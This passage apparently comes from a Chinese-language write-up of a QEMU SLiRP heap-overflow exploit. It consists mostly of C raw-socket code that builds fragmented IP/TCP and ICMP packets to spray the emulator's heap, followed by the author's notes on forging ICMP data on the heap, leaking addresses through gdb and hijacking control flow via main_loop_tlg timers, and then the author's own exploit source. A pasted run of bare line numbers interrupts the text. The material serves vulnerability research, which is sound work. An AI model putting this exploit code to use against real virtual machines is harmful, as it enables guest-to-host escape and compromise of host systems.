if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
perror("setsockopt() failed to set IP_HDRINCL ");
exit(EXIT_FAILURE);
}

// Bind socket to interface index.
if (setsockopt(sd, SOL_SOCKET, SO_BINDTODEVICE, &ifr, sizeof(ifr)) < 0) {
perror("setsockopt() failed to bind to interface ");
exit(EXIT_FAILURE);
}

// Send packet.
if (sendto(sd, packet, IP4_HDRLEN + TCP_HDRLEN + payloadlen, 0,
(struct sockaddr *)&sin, sizeof(struct sockaddr)) < 0) {
perror("sendto() failed ");
exit(EXIT_FAILURE);
}

// Close socket descriptor.
close(sd);
// Free allocated memory.
free(packet);
free(interface);
free(src_ip);
free(dst_ip);
free(ip_flags);
free(tcp_flags);
}

void spray(int size, uint16_t ip_id) {
int i, status, sd, *ip_flags, *tcp_flags;
const int on = 1;
char *interface, *src_ip, *dst_ip;
struct ip iphdr;
struct tcphdr tcphdr;
char *payload;
int payloadlen;
uint8_t *packet;
struct sockaddr_in sin;
struct ifreq ifr;

// Allocate memory for various arrays.
packet = allocate_ustrmem(IP_MAXPACKET);
interface = allocate_strmem(40);
src_ip = allocate_strmem(INET_ADDRSTRLEN);
dst_ip = allocate_strmem(INET_ADDRSTRLEN);
ip_flags = allocate_intmem(4);
tcp_flags = allocate_intmem(8);
payload = allocate_strmem(IP_MAXPACKET);

payloadlen = size - 84;

// Interface to send packet through.
strcpy(interface, g_interface);

// Submit request for a socket descriptor to look up interface.
if ((sd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket() failed to get socket descriptor for using ioctl() ");
exit(EXIT_FAILURE);
}

// Use ioctl() to look up interface index which we will use to
// bind socket descriptor sd to specified interface with setsockopt() since
// none of the other arguments of sendto() specify which interface to use.
memset(&ifr, 0, sizeof(ifr));
snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", interface);
if (ioctl(sd, SIOCGIFINDEX, &ifr) < 0) {
perror("ioctl() failed to find interface ");
exit(EXIT_FAILURE);
}
close(sd);
// dbg_printf("Index for interface %s is %i\n", interface, ifr.ifr_ifindex);

// Source IPv4 address: you need to fill this out
strcpy(src_ip, "192.168.1.100");
strcpy(dst_ip, "127.168.1.1");

// IPv4 header
// IPv4 header length (4 bits): Number of 32-bit words in header = 5
iphdr.ip_hl = IP4_HDRLEN / sizeof(uint32_t);
// Internet Protocol version (4 bits): IPv4
iphdr.ip_v = 4;
// Type of service (8 bits)
iphdr.ip_tos = 0;
// Total length of datagram (16 bits): IP header + TCP header + TCP data
iphdr.ip_len = htons(IP4_HDRLEN + TCP_HDRLEN + payloadlen);
// ID sequence number (16 bits): unused, since single datagram
iphdr.ip_id = htons(ip_id);
// Flags, and Fragmentation offset (3, 13 bits): 0 since single datagram
// Zero (1 bit)
ip_flags[0] = 0;
// Do not fragment flag (1 bit)
ip_flags[1] = 0;
// More fragments following flag (1 bit)
ip_flags[2] = 1;
// Fragmentation offset (13 bits)
ip_flags[3] = 0;

iphdr.ip_off = htons((ip_flags[0] << 15) + (ip_flags[1] << 14) +
(ip_flags[2] << 13) + ip_flags[3]);
// Time-to-Live (8 bits): default to maximum value
iphdr.ip_ttl = 255;
// Transport layer protocol (8 bits): 6 for TCP
iphdr.ip_p = IPPROTO_TCP;

// Source IPv4 address (32 bits)
if ((status = inet_pton(AF_INET, src_ip, &(iphdr.ip_src))) != 1) {
dbg_printf("inet_pton() failed.\nError message: %s", strerror(status));
exit(EXIT_FAILURE);
}

// Destination IPv4 address (32 bits)
if ((status = inet_pton(AF_INET, dst_ip, &(iphdr.ip_dst))) != 1) {
dbg_printf("inet_pton() failed.\nError message: %s", strerror(status));
exit(EXIT_FAILURE);
}

// IPv4 header checksum (16 bits): set to 0 when calculating checksum
iphdr.ip_sum = 0;
iphdr.ip_sum = checksum((uint16_t *)&iphdr, IP4_HDRLEN);

// TCP header
// Source port number (16 bits)
tcphdr.th_sport = htons(60);
// Destination port number (16 bits)
tcphdr.th_dport = htons(80);
// Sequence number (32 bits)
tcphdr.th_seq = htonl(0);
// Acknowledgement number (32 bits)
tcphdr.th_ack = htonl(0);
// Reserved (4 bits): should be 0
tcphdr.th_x2 = 0;
// Data offset (4 bits): size of TCP header in 32-bit words
tcphdr.th_off = TCP_HDRLEN / 4;

// Flags (8 bits)
// FIN flag (1 bit)
tcp_flags[0] = 0;
// SYN flag (1 bit)
tcp_flags[1] = 0;
// RST flag (1 bit)
tcp_flags[2] = 0;
// PSH flag (1 bit)
tcp_flags[3] = 1;
// ACK flag (1 bit)
tcp_flags[4] = 1;
// URG flag (1 bit)
tcp_flags[5] = 0;
// ECE flag (1 bit)
tcp_flags[6] = 0;
// CWR flag (1 bit)
tcp_flags[7] = 0;
tcphdr.th_flags = 0;
for (i = 0; i < 8; i++) {
tcphdr.th_flags += (tcp_flags[i] << i);
}

// Window size (16 bits)
tcphdr.th_win = htons(65535);
// Urgent pointer (16 bits): 0 (only valid if URG flag is set)
tcphdr.th_urp = htons(0);
// TCP checksum (16 bits)
tcphdr.th_sum =
tcp4_checksum(iphdr, tcphdr, (uint8_t *)payload, payloadlen);

// Prepare packet.
// First part is an IPv4 header.
memcpy(packet, &iphdr, IP4_HDRLEN * sizeof(uint8_t));
// Next part of packet is upper layer protocol header.
memcpy((packet + IP4_HDRLEN), &tcphdr, TCP_HDRLEN * sizeof(uint8_t));
// Last part is upper layer protocol data.
memcpy((packet + IP4_HDRLEN + TCP_HDRLEN), payload,
payloadlen * sizeof(uint8_t));

// The kernel is going to prepare layer 2 information (ethernet frame
// header) for us. For that, we need to specify a destination for the kernel
// in order for it to decide where to send the raw datagram. We fill in a
// struct in_addr with the desired destination IP address, and pass this
// structure to the sendto() function.
memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = iphdr.ip_dst.s_addr;

// Submit request for a raw socket descriptor.
if ((sd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket() failed ");
exit(EXIT_FAILURE);
}

// Set flag so socket expects us to provide IPv4 header.
if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
perror("setsockopt() failed to set IP_HDRINCL ");
exit(EXIT_FAILURE);
}

// Bind socket to interface index.
if (setsockopt(sd, SOL_SOCKET, SO_BINDTODEVICE, &ifr, sizeof(ifr)) < 0) {
perror("setsockopt() failed to bind to interface ");
exit(EXIT_FAILURE);
}

// Send packet.
if (sendto(sd, packet, IP4_HDRLEN + TCP_HDRLEN + payloadlen, 0,
(struct sockaddr *)&sin, sizeof(struct sockaddr)) < 0) {
perror("sendto() failed ");
exit(EXIT_FAILURE);
}

// Close socket descriptor.
close(sd);
// Free allocated memory.
free(packet);
free(interface);
free(src_ip);
free(dst_ip);
free(ip_flags);
free(tcp_flags);
free(payload);
}

// Computing the internet checksum (RFC 1071).
// Note that the internet checksum does not preclude collisions.
uint16_t checksum(uint16_t *addr, int len) {
int count = len;
register uint32_t sum = 0;
uint16_t answer = 0;

// Sum up 2-byte values until none or only one byte left.
while (count > 1) {
sum += *(addr++);
count -= 2;
}

// Add left-over byte, if any.
if (count > 0) {
sum += *(uint8_t *)addr;
}

// Fold 32-bit sum into 16 bits; we lose information by doing this,
// increasing the chances of a collision.
// sum = (lower 16 bits) + (upper 16 bits shifted right 16 bits)
while (sum >> 16) {
sum = (sum & 0xffff) + (sum >> 16);
}

// Checksum is one's compliment of sum.
answer = ~sum;

return (answer);
}

// Build IPv4 ICMP pseudo-header and call checksum function.
uint16_t icmp4_checksum(struct icmp icmphdr, uint8_t *payload, int payloadlen) {
char buf[IP_MAXPACKET];
char *ptr;
int chksumlen = 0;
int i;

ptr = &buf[0]; // ptr points to beginning of buffer buf

// Copy Message Type to buf (8 bits)
memcpy(ptr, &icmphdr.icmp_type, sizeof(icmphdr.icmp_type));
ptr += sizeof(icmphdr.icmp_type);
chksumlen += sizeof(icmphdr.icmp_type);

// Copy Message Code to buf (8 bits)
memcpy(ptr, &icmphdr.icmp_code, sizeof(icmphdr.icmp_code));
ptr += sizeof(icmphdr.icmp_code);
chksumlen += sizeof(icmphdr.icmp_code);

// Copy ICMP checksum to buf (16 bits)
// Zero, since we don't know it yet
*ptr = 0;
ptr++;
*ptr = 0;
ptr++;
chksumlen += 2;

// Copy Identifier to buf (16 bits)
memcpy(ptr, &icmphdr.icmp_id, sizeof(icmphdr.icmp_id));
ptr += sizeof(icmphdr.icmp_id);
chksumlen += sizeof(icmphdr.icmp_id);

// Copy Sequence Number to buf (16 bits)
memcpy(ptr, &icmphdr.icmp_seq, sizeof(icmphdr.icmp_seq));
ptr += sizeof(icmphdr.icmp_seq);
chksumlen += sizeof(icmphdr.icmp_seq);

// Copy payload to buf
memcpy(ptr, payload, payloadlen);
ptr += payloadlen;
chksumlen += payloadlen;

// Pad to the next 16-bit boundary
for (i = 0; i < payloadlen % 2; i++, ptr++) {
*ptr = 0;
ptr++;
chksumlen++;
}

return checksum((uint16_t *)buf, chksumlen);
}

// Build IPv4 TCP pseudo-header and call checksum function.
uint16_t tcp4_checksum(struct ip iphdr, struct tcphdr tcphdr, uint8_t *payload,
int payloadlen) {
uint16_t svalue;
char buf[IP_MAXPACKET], cvalue;
char *ptr;
int i, chksumlen = 0;

// ptr points to beginning of buffer buf
ptr = &buf[0];

// Copy source IP address into buf (32 bits)
memcpy(ptr, &iphdr.ip_src.s_addr, sizeof(iphdr.ip_src.s_addr));
ptr += sizeof(iphdr.ip_src.s_addr);
chksumlen += sizeof(iphdr.ip_src.s_addr);

// Copy destination IP address into buf (32 bits)
memcpy(ptr, &iphdr.ip_dst.s_addr, sizeof(iphdr.ip_dst.s_addr));
ptr += sizeof(iphdr.ip_dst.s_addr);
chksumlen += sizeof(iphdr.ip_dst.s_addr);

// Copy zero field to buf (8 bits)
*ptr = 0;
ptr++;
chksumlen += 1;

// Copy transport layer protocol to buf (8 bits)
memcpy(ptr, &iphdr.ip_p, sizeof(iphdr.ip_p));
ptr += sizeof(iphdr.ip_p);
chksumlen += sizeof(iphdr.ip_p);

// Copy TCP length to buf (16 bits)
svalue = htons(sizeof(tcphdr) + payloadlen);
memcpy(ptr, &svalue, sizeof(svalue));
ptr += sizeof(svalue);
chksumlen += sizeof(svalue);

// Copy TCP source port to buf (16 bits)
memcpy(ptr, &tcphdr.th_sport, sizeof(tcphdr.th_sport));
ptr += sizeof(tcphdr.th_sport);
chksumlen += sizeof(tcphdr.th_sport);

// Copy TCP destination port to buf (16 bits)
memcpy(ptr, &tcphdr.th_dport, sizeof(tcphdr.th_dport));
ptr += sizeof(tcphdr.th_dport);
chksumlen += sizeof(tcphdr.th_dport);

// Copy sequence number to buf (32 bits)
memcpy(ptr, &tcphdr.th_seq, sizeof(tcphdr.th_seq));
ptr += sizeof(tcphdr.th_seq);
chksumlen += sizeof(tcphdr.th_seq);

// Copy acknowledgement number to buf (32 bits)
memcpy(ptr, &tcphdr.th_ack, sizeof(tcphdr.th_ack));
ptr += sizeof(tcphdr.th_ack);
chksumlen += sizeof(tcphdr.th_ack);

// Copy data offset to buf (4 bits) and
// copy reserved bits to buf (4 bits)
cvalue = (tcphdr.th_off << 4) + tcphdr.th_x2;
memcpy(ptr, &cvalue, sizeof(cvalue));
ptr += sizeof(cvalue);
chksumlen += sizeof(cvalue);

// Copy TCP flags to buf (8 bits)
memcpy(ptr, &tcphdr.th_flags, sizeof(tcphdr.th_flags));
ptr += sizeof(tcphdr.th_flags);
chksumlen += sizeof(tcphdr.th_flags);

// Copy TCP window size to buf (16 bits)
memcpy(ptr, &tcphdr.th_win, sizeof(tcphdr.th_win));
ptr += sizeof(tcphdr.th_win);
chksumlen += sizeof(tcphdr.th_win);

// Copy TCP checksum to buf (16 bits)
// Zero, since we don't know it yet
*ptr = 0;
ptr++;
*ptr = 0;
ptr++;
chksumlen += 2;

// Copy urgent pointer to buf (16 bits)
memcpy(ptr, &tcphdr.th_urp, sizeof(tcphdr.th_urp));
ptr += sizeof(tcphdr.th_urp);
chksumlen += sizeof(tcphdr.th_urp);

// Copy payload to buf
memcpy(ptr, payload, payloadlen);
ptr += payloadlen;
chksumlen += payloadlen;

// Pad to the next 16-bit boundary
for (i = 0; i < payloadlen % 2; i++, ptr++) {
*ptr = 0;
ptr++;
chksumlen++;
}

return checksum((uint16_t *)buf, chksumlen);
}

// Allocate memory for an array of chars.
char *allocate_strmem(int len) {
char *tmp;

if (len <= 0) {
dbg_printf("ERROR: Cannot allocate memory because len = %i in "
"allocate_strmem().\n",
len);
exit(EXIT_FAILURE);
}

tmp = (char *)malloc(len * sizeof(char));
if (tmp != NULL) {
memset(tmp, 0, len * sizeof(char));
return (tmp);
} else {
dbg_printf(
"ERROR: Cannot allocate memory for array allocate_strmem().\n");
exit(EXIT_FAILURE);
}
}

// Allocate memory for an array of unsigned chars.
uint8_t *allocate_ustrmem(int len) {
uint8_t *tmp;

if (len <= 0) {
dbg_printf("ERROR: Cannot allocate memory because len = %i in "
"allocate_ustrmem().\n",
len);
exit(EXIT_FAILURE);
}

tmp = (uint8_t *)malloc(len * sizeof(uint8_t));
if (tmp != NULL) {
memset(tmp, 0, len * sizeof(uint8_t));
return (tmp);
} else {
dbg_printf(
"ERROR: Cannot allocate memory for array allocate_ustrmem().\n");
exit(EXIT_FAILURE);
}
}

// Allocate memory for an array of ints.
int *allocate_intmem(int len) {
int *tmp;

if (len <= 0) {
dbg_printf("ERROR: Cannot allocate memory because len = %i in "
"allocate_intmem().\n",
len);
exit(EXIT_FAILURE);
}

tmp = (int *)malloc(len * sizeof(int));
if (tmp != NULL) {
memset(tmp, 0, len * sizeof(int));
return (tmp);
} else {
dbg_printf(
"ERROR: Cannot allocate memory for array allocate_intmem().\n");
exit(EXIT_FAILURE);
}
}

void hexdump(const char *desc, void *addr, int len) {
int i;
unsigned char buff[17];
unsigned char *pc = (unsigned char *)addr;

// Output description if given.
if (desc != NULL)
printf("%s:\n", desc);
if (len == 0) {
printf(" ZERO LENGTH\n");
return;
}
if (len < 0) {
printf(" NEGATIVE LENGTH: %i\n", len);
return;
}

// Process every byte in the data.
for (i = 0; i < len; i++) {
// Multiple of 16 means new line (with line offset).
if ((i % 16) == 0) {
// Just don't print ASCII for the zeroth line.
if (i != 0)
printf(" %s\n", buff);
// Output the offset.
printf(" %04x ", i);
}
// Now the hex code for the specific character.
printf(" %02x", pc[i]);
// And store a printable ASCII character for later.
if ((pc[i] < 0x20) || (pc[i] > 0x7e))
buff[i % 16] = '.';
else
buff[i % 16] = pc[i];
buff[(i % 16) + 1] = '\0';
}
// Pad out last line if not exactly 16 characters.
while ((i % 16) != 0) {
printf(" ");
i++;
}
// And print the final ASCII bit.
printf(" %s\n", buff);
}

附:整个EXP运行过程中的流量

笔者不自量力的自己写了一份EXP。(好吧,很多是GPT写的,哈哈哈!)

整体流程是一致的,但是有几个需要注意的点。

  1. 堆喷时,构造的源ip地址与目的ip地址不能是127.0.0.1 ,可以是任意合法ip地址。否则可能走ip内核协议栈,而不会走SLirp协议栈。
  2. 在堆上伪造ICMP协议时,ip_len 字段仅需要包含icmp部分,否则后续icmp_checksum会不通过。
  3. 笔者构造的EXP无论如何都接收不到icmp响应包,就很纳闷?所以我采用了比较取巧的方式,手动输入需要泄露的地址(在gdb中查看)即可。
  4. 控制流劫持时,采用了劫持main_loop_tlg[0]->active_times 的方式,不需要伪造太多的元数据。

image-20250701172831297

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <unistd.h> // close()
#include <assert.h>
#include <string.h> // strcpy, memset(), and memcpy()

#include <netdb.h> // struct addrinfo
#include <sys/types.h> // needed for socket(), uint8_t, uint16_t, uint32_t
#include <sys/socket.h> // needed for socket()
#include <netinet/in.h> // IPPROTO_RAW, IPPROTO_IP, IPPROTO_TCP, INET_ADDRSTRLEN
#include <netinet/ip.h> // struct ip and IP_MAXPACKET (which is 65535)
#include <netinet/ip_icmp.h> // struct icmp, ICMP_ECHO
#define __FAVOR_BSD // Use BSD format of tcp header
#include <netinet/tcp.h> // struct tcphdr
#include <arpa/inet.h> // inet_pton() and inet_ntop()
#include <sys/ioctl.h> // macro ioctl is defined
#include <bits/ioctls.h> // defines values for argument "request" of ioctl.
#include <net/if.h> // struct ifreq
#include <linux/if_ether.h> // ETH_P_IP = 0x0800, ETH_P_IPV6 = 0x86DD
#include <linux/if_packet.h> // struct sockaddr_ll (see man 7 packet)
#include <net/ethernet.h>
#include <sys/time.h> // gettimeofday()

#include <errno.h> // errno, perror()

// Define some constants.
#define ETH_HDRLEN 14 // Ethernet header length
#define IP4_HDRLEN 20 // IPv4 header length
#define TCP_HDRLEN 20 // TCP header length, excludes options data
#define ICMP_HDRLEN 8 // ICMP header length for echo request, excludes data

#define DEBUG

#ifdef DEBUG
#define dbg_printf(fmt, ...) \
do { \
fprintf(stderr, "%s:%d(): " fmt, __func__, __LINE__, ##__VA_ARGS__); \
} while (0)
#else
#define dbg_printf(fmt, ...) \
do { \
} while (0)
#endif

// 伪 TCP 头用于校验和
struct pseudo_header {
uint32_t src_addr;
uint32_t dst_addr;
uint8_t placeholder;
uint8_t protocol;
uint16_t tcp_length;
};

// some header info to pass to the send_ip_pkt
struct ip_pkt_info {
uint16_t ip_id;
uint16_t ip_off;
bool MF;
uint8_t ip_p;
};

struct mbuf {
/* XXX should union some of these! */
/* header at beginning of each mbuf: */
struct mbuf *m_next; /* Linked list of mbufs */
struct mbuf *m_prev;
struct mbuf *m_nextpkt; /* Next packet in queue/record */
struct mbuf *m_prevpkt; /* Flags aren't used in the output queue */
int m_flags; /* Misc flags */

int m_size; /* Size of mbuf, from m_dat or m_ext */
void *m_so;

// uint64_t m_data; /* Current location of data */
// int m_len; /* Amount of data in this mbuf, from m_data */

// void *slirp;
// bool resolution_requested;
// uint64_t expiration_date;
// char *m_ext;
// /* start of dynamic buffer area, must be last element */
// char m_dat[];
};

char *src_ip = "10.0.2.15";
char *dst_ip = "10.0.2.2";
char *g_interface = "eth0";
int g_spray_ip_id;
uint64_t text_base;
uint64_t heap_base;

void dbg() {
getchar();
}

void hexdump(const char *desc, void *addr, int len) {
int i;
unsigned char buff[17];
unsigned char *pc = (unsigned char *)addr;

// Output description if given.
if (desc != NULL)
printf("%s:\n", desc);
if (len == 0) {
printf(" ZERO LENGTH\n");
return;
}
if (len < 0) {
printf(" NEGATIVE LENGTH: %i\n", len);
return;
}

// Process every byte in the data.
for (i = 0; i < len; i++) {
// Multiple of 16 means new line (with line offset).
if ((i % 16) == 0) {
// Just don't print ASCII for the zeroth line.
if (i != 0)
printf(" %s\n", buff);
// Output the offset.
printf(" %04x ", i);
}
// Now the hex code for the specific character.
printf(" %02x", pc[i]);
// And store a printable ASCII character for later.
if ((pc[i] < 0x20) || (pc[i] > 0x7e))
buff[i % 16] = '.';
else
buff[i % 16] = pc[i];
buff[(i % 16) + 1] = '\0';
}
// Pad out last line if not exactly 16 characters.
while ((i % 16) != 0) {
printf(" ");
i++;
}
// And print the final ASCII bit.
printf(" %s\n", buff);
}

// 计算校验和
unsigned short checksum(unsigned short *ptr, int len) {
unsigned long sum = 0;
while (len > 1) {
sum += *ptr++;
len -= 2;
}
if (len == 1) {
sum += *((unsigned char *)ptr);
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return (unsigned short)(~sum);
}

uint16_t icmp_checksum(const struct icmphdr *icmp, const void *payload, int payloadlen) {
int total_len = sizeof(struct icmphdr) + payloadlen;
uint8_t *buf = malloc(total_len + 1); // +1 for potential padding

if (!buf)
return 0;

// 拷贝 ICMP 头
memcpy(buf, icmp, sizeof(struct icmphdr));

// 拷贝 payload(如果有)
if (payload && payloadlen > 0)
memcpy(buf + sizeof(struct icmphdr), payload, payloadlen);

// 奇数字节补0
if (total_len % 2 != 0)
buf[total_len++] = 0;

uint16_t result = checksum(buf, total_len);
free(buf);
return result;
}

void send_fragmented_tcp_packet(int data_len, uint16_t ip_id) {
int sock;
char datagram[0x2400], *payload;
struct ip *iph;
struct tcphdr *tcph;
struct sockaddr_in sin;
struct pseudo_header psh;

const char *src_ip = "192.168.1.100"; // 替换为你本地的IP
const char *dst_ip = "192.168.1.1"; // 替换为目标IP

memset(datagram, 0, sizeof(datagram));
iph = (struct ip *)datagram;
tcph = (struct tcphdr *)(datagram + sizeof(struct ip));
payload = datagram + sizeof(struct ip) + sizeof(struct tcphdr);

// 生成任意 payload 内容
for (int i = 0; i < data_len; ++i) {
payload[i] = 'A' + (i % 26);
}

// 构造目标地址
sin.sin_family = AF_INET;
sin.sin_port = htons(80);
inet_pton(AF_INET, dst_ip, &sin.sin_addr);

// 构造 IP 报头
iph->ip_hl = 5;
iph->ip_v = 4;
iph->ip_tos = 0;
iph->ip_len = htons(sizeof(struct ip) + sizeof(struct tcphdr) + data_len);
iph->ip_id = htons(ip_id);
iph->ip_off = htons(0x2000); // DF=0, MF=1, offset=0
iph->ip_ttl = 64;
iph->ip_p = IPPROTO_TCP;
iph->ip_sum = 0;
inet_pton(AF_INET, src_ip, &iph->ip_src);
inet_pton(AF_INET, dst_ip, &iph->ip_dst);
iph->ip_sum = checksum((unsigned short *)iph, sizeof(struct ip));

// 构造 TCP 报头
tcph->source = htons(1234);
tcph->dest = htons(4321);
tcph->seq = htonl(0);
tcph->ack_seq = 0;
tcph->doff = 5;
tcph->syn = 1;
tcph->window = htons(65535);
tcph->check = 0;
tcph->urg_ptr = 0;

// 构造 TCP 伪头部以计算校验和
psh.src_addr = inet_addr(src_ip);
psh.dst_addr = inet_addr(dst_ip);
psh.placeholder = 0;
psh.protocol = IPPROTO_TCP;
psh.tcp_length = htons(sizeof(struct tcphdr) + data_len);

int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr) + data_len;
char *pseudogram = malloc(psize);
memcpy(pseudogram, &psh, sizeof(struct pseudo_header));
memcpy(pseudogram + sizeof(struct pseudo_header), tcph, sizeof(struct tcphdr));
memcpy(pseudogram + sizeof(struct pseudo_header) + sizeof(struct tcphdr), payload, data_len);
tcph->check = checksum((unsigned short *)pseudogram, psize);
free(pseudogram);

// 创建 RAW socket
sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (sock < 0) {
perror("socket");
return;
}

// 设置 IP_HDRINCL:我们自己构造 IP 头
const int one = 1;
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) {
perror("setsockopt");
close(sock);
return;
}

// 发送数据包
if (sendto(sock, datagram, sizeof(struct ip) + sizeof(struct tcphdr) + data_len, 0,
(struct sockaddr *)&sin, sizeof(sin)) < 0) {
perror("sendto");
} else {
printf("Packet sent: ID=0x%04x, MF=1, Payload=%d bytes\n", ip_id, data_len);
}

close(sock);
}

void send_raw_ip_packet(const struct ip_pkt_info *info,
const char *data, int data_len) {
int sock;
char datagram[4096];
struct ip *iph;
struct sockaddr_in sin;
char *payload;

const char *src_ip = "192.168.1.100"; // 替换为你本地的IP
const char *dst_ip = "192.168.1.1"; // 替换为目标IP

if (data_len + sizeof(struct ip) > sizeof(datagram)) {
fprintf(stderr, "Data too large\n");
return;
}

memset(datagram, 0, sizeof(datagram));
iph = (struct ip *)datagram;
payload = datagram + sizeof(struct ip);
memcpy(payload, data, data_len);

// 填写 IP 头
iph->ip_hl = 5;
iph->ip_v = 4;
iph->ip_tos = 0;
iph->ip_len = htons(sizeof(struct ip) + data_len);
iph->ip_id = htons(info->ip_id);
iph->ip_off = htons(((info->MF ? 0x2000 : 0x0000) | ((info->ip_off & 0x1FFF) >> 3)));
iph->ip_ttl = 64;
iph->ip_p = info->ip_p;
iph->ip_sum = 0;

if (inet_pton(AF_INET, src_ip, &iph->ip_src) != 1 ||
inet_pton(AF_INET, dst_ip, &iph->ip_dst) != 1) {
perror("inet_pton");
return;
}

iph->ip_sum = checksum((unsigned short *)iph, sizeof(struct ip));

// 设置目标地址
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = 0;
inet_pton(AF_INET, dst_ip, &sin.sin_addr);

// 创建 socket
sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (sock < 0) {
perror("socket");
return;
}

const int one = 1;
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) {
perror("setsockopt");
close(sock);
return;
}

// 发送数据包
if (sendto(sock, datagram, sizeof(struct ip) + data_len, 0,
(struct sockaddr *)&sin, sizeof(sin)) < 0) {
perror("sendto");
} else {
printf("Raw IP Packet sent: ID=0x%04x, offset=%u, MF=%d, len=%d bytes\n",
info->ip_id, info->ip_off, info->MF, data_len);
}

close(sock);
}

// 构造并发送完整的 ICMP 报文(含 IP 头)

#define PACKET_SIZE 1024
void send_ip_icmp_echo(const char *src_ip, const char *dst_ip) {
int sockfd;
char packet[PACKET_SIZE];

memset(packet, 0, PACKET_SIZE);

struct ip *iph = (struct ip *)packet;
struct icmphdr *icmp = (struct icmphdr *)(packet + sizeof(struct ip));
struct sockaddr_in target;

// 构造 ICMP 报文
icmp->type = ICMP_ECHO;
icmp->code = 0;
icmp->un.echo.id = getpid() & 0xFFFF;
icmp->un.echo.sequence = htons(1);
// memset(packet + sizeof(struct ip) + sizeof(struct icmphdr), 'A', 32); // payload
icmp->checksum = 0;
icmp->checksum = checksum(icmp, sizeof(struct icmphdr));

// 构造 IP 报文头
iph->ip_hl = 5;
iph->ip_v = 4;
iph->ip_tos = 0;
iph->ip_len = htons(sizeof(struct ip) + sizeof(struct icmphdr) + 32);
iph->ip_id = htons(12345);
iph->ip_off = 0;
iph->ip_ttl = 64;
iph->ip_p = IPPROTO_ICMP;
iph->ip_sum = 0;
inet_pton(AF_INET, src_ip, &(iph->ip_src));
inet_pton(AF_INET, dst_ip, &(iph->ip_dst));
iph->ip_sum = checksum((unsigned short *)iph, sizeof(struct ip));

// 目标地址
memset(&target, 0, sizeof(target));
target.sin_family = AF_INET;
inet_pton(AF_INET, dst_ip, &target.sin_addr);

// 创建 raw socket
sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
exit(EXIT_FAILURE);
}

// 设置 socket 允许自带 IP 头部
const int one = 1;
if (setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) {
perror("setsockopt");
close(sockfd);
exit(EXIT_FAILURE);
}

// 发送报文
ssize_t sent = sendto(sockfd, packet, sizeof(struct ip) + sizeof(struct icmphdr) + 32,
0, (struct sockaddr *)&target, sizeof(target));
if (sent < 0) {
perror("sendto");
} else {
printf("Sent IP+ICMP packet to %s (%zd bytes)\n", dst_ip, sent);
}

close(sockfd);
}

